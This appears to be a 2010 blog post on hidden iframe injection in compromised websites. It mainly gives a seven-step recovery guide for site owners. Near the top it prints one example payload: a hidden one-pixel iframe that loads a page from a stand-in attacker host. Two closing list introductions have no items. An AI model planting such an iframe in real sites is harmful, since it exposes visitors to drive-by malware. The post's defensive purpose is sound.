|IFrame Injection Attack is most common and most basic cross site scripting (XSS) attacks|
|Written by Vijay PatilHits : 9391|
|Wednesday, 24 March 2010 17:25|
<iframe src="http://www.example-hacker-site.com/inject/?s=some-parameters" width="1" height="1" style="visibility: hidden"></iframe>
An example of a malicious IFRAME injection code
1. Take your website down for a certain periodIt is recommended to take the website down as you do not want to be distributing malware or virus from your website to your visitors. The website should be offline while you are recovering the site.
2. Change all the passwordsAlthough this may seem like a simple step, many people, including myself, often fail to change all the passwords immediately after an attack has been discovered. You need to change all the passwords associated with the website; which include ftp passwords, ssh passwords, account passwords, database passwords, admin passwords and so on.
3. Take a copy of the affected website for further analysisYou may want to do a further analysis on the attack and might need to refer to the exact injection source code in the future. Take a copy of the affected website in a compressed format, eg: zip or gzip and store it in an quarantine area for later reference. Note that it is not advisable to keep the affected files on the server.
4. Replace the entire site with a clean backup copyDo not rely on your hosting provider for a backup copy of your site. Many hosting providers say they do an automatic backup every night, however, it is more reliable if you have other backup solutions for your website.
5. Test the website and reopenThis is to make sure that the website is reverted to its clean, original version. Once you are happy with the result, you can reopen the website to the public.
6. Analyse how the attack was originatedIn order to ensure that the same attack does not happen again, you will need to do a full analysis of the attack and how it was originated. Was it because of a security hole in your application? Was it caused by a weak file permission? Or is your server affected with some virus that injects these code into your website at regular interval? You will need to understand how it happens in order to prevent it in the future. And when necessary, obtain an expert advice.
7. Perform appropriate security measures based on the analysisAlthough you may have recovered your website, it does not mean your website will not be attacked again. If the same security hole still exists, it is probably very likely that the website will be attacked again in the near future. Therefore, it is recommended that you perform necessary security measures, be it hardening your web server, upgrading an application, or introducing new security restrictions.
I have encountered and recovered quite a few websites that had been attacked by malicious iframe exploit in the recent years. And the common causes seem to be as follows:
There are a few simple things that can be done to reduce the risk of your website being attacked.